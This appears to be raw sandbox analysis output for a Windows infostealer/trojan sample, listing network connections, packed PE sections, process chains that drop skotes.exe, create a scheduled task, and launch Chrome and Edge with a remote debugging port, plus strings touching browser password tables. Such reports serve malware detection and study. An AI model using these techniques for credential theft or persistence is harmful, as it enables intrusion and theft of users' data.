Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50233 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.13:443 -> 192.168.2.5:50348 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name:
Source: DocumentsKFBGDBFBKK.exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name:
Source: skotes.exe.20.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C6BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C6BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C6BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C65F280

Source: C:\Users\user\DocumentsKFBGDBFBKK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6535A0	0_2_6C6535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C665440	0_2_6C665440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C545C	0_2_6C6C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C542B	0_2_6C6C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CAC00	0_2_6C6CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695C10	0_2_6C695C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2C10	0_2_6C6A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65D4E0	0_2_6C65D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C696CF0	0_2_6C696CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6664C0	0_2_6C6664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D4D0	0_2_6C67D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B34A0	0_2_6C6B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BC4A0	0_2_6C6BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FD00	0_2_6C66FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67ED10	0_2_6C67ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C680512	0_2_6C680512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B85F0	0_2_6C6B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C690DD0	0_2_6C690DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6E63	0_2_6C6C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C670	0_2_6C65C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A2E4E	0_2_6C6A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C674640	0_2_6C674640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C679E50	0_2_6C679E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C693E50	0_2_6C693E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B9E30	0_2_6C6B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A5600	0_2_6C6A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697E10	0_2_6C697E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C76E3	0_2_6C6C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65BEF0	0_2_6C65BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66FEF0	0_2_6C66FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4EA0	0_2_6C6B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BE680	0_2_6C6BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C675E90	0_2_6C675E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C669F00	0_2_6C669F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C697710	0_2_6C697710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65DFE0	0_2_6C65DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C686FF0	0_2_6C686FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A77A0	0_2_6C6A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69F070	0_2_6C69F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C678850	0_2_6C678850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67D850	0_2_6C67D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69B820	0_2_6C69B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A4820	0_2_6C6A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C667810	0_2_6C667810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67C0E0	0_2_6C67C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6958E0	0_2_6C6958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C50C7	0_2_6C6C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6860A0	0_2_6C6860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66D960	0_2_6C66D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AB970	0_2_6C6AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CB170	0_2_6C6CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A940	0_2_6C67A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65C9A0	0_2_6C65C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68D9B0	0_2_6C68D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C695190	0_2_6C695190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2990	0_2_6C6B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C699A60	0_2_6C699A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C671AF0	0_2_6C671AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E2F0	0_2_6C69E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C698AC0	0_2_6C698AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6522A0	0_2_6C6522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C684AA0	0_2_6C684AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66CAB0	0_2_6C66CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2AB0	0_2_6C6C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CBA90	0_2_6C6CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C66C370	0_2_6C66C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C655340	0_2_6C655340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69D320	0_2_6C69D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C53C8	0_2_6C6C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65F380	0_2_6C65F380
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_00228860	20_2_00228860
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_00227049	20_2_00227049
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_002278BB	20_2_002278BB
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_002231A8	20_2_002231A8
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_001E4B30	20_2_001E4B30
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_00222D10	20_2_00222D10
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_001E4DE0	20_2_001E4DE0
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_00217F36	20_2_00217F36
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: 20_2_0022779B	20_2_0022779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00137049	21_2_00137049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00138860	21_2_00138860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_001378BB	21_2_001378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_001331A8	21_2_001331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_000F4B30	21_2_000F4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00132D10	21_2_00132D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_000F4DE0	21_2_000F4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00127F36	21_2_00127F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_0013779B	21_2_0013779B

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C68CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6994D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 001080C0 appears 130 times
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Code function: String function: 001F80C0 appears 130 times

Source: file.exe, 00000000.00000002.2526294582.000000006C8D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2525630268.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: kisxtbux ZLIB complexity 0.9947458438071298
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9982384790348101
Source: random[1].exe.0.dr	Static PE information: Section: isirfrxm ZLIB complexity 0.9948092038059927

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@115/253@56/31

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C6B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\06DBUX09.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4668:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe	Mutant created: NULL
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\320d3ff8-e367-4e57-8d00-ed87875093a2.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2526030798.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.2293869349.000000001D32D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2213102477.000000001D339000.00000004.00000020.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2791544440.0000000005CE9000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2790915940.0000000005D06000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000017.00000003.2811099522.0000000005DE3000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2940764182.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2939663668.00000000052C7000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 0000001C.00000003.2956644061.00000000052D6000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3208024124.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, e7dea42e57.exe, 00000022.00000003.3224095663.00000000057F3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: file.exe, 00000000.00000002.2525040864.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2515458712.000000001D467000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 39%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: DocumentsKFBGDBFBKK.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,1856153445990450986,14719946198710532019,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2288,i,8108119705186044268,9136360584141256623,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6952 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKFBGDBFBKK.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKFBGDBFBKK.exe "C:\Users\user\DocumentsKFBGDBFBKK.exe"
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe "C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4160 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=2524 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe "C:\Users\user\AppData\Local\Temp\1006726001\b39ed05e31.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe "C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe"
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=744 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe "C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe"
Source: C:\Users\user\AppData\Local\Temp\1006723001\e7dea42e57.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=e7dea42e57.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1006724001\6cb554c070.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 --field-trial-handle=2012,i,997493168856611365,3389256609775755856,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\DocumentsKFBGDBFBKK.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3384 --field-trial-handle=1988,i,21939172132999769,2787057012611107708,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7044 --field-trial-handle=2028,i,13368571681728824544,450451892789357403,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKFBGDBFBKK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2228,i,1856153445990450986,14719946198710532019,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
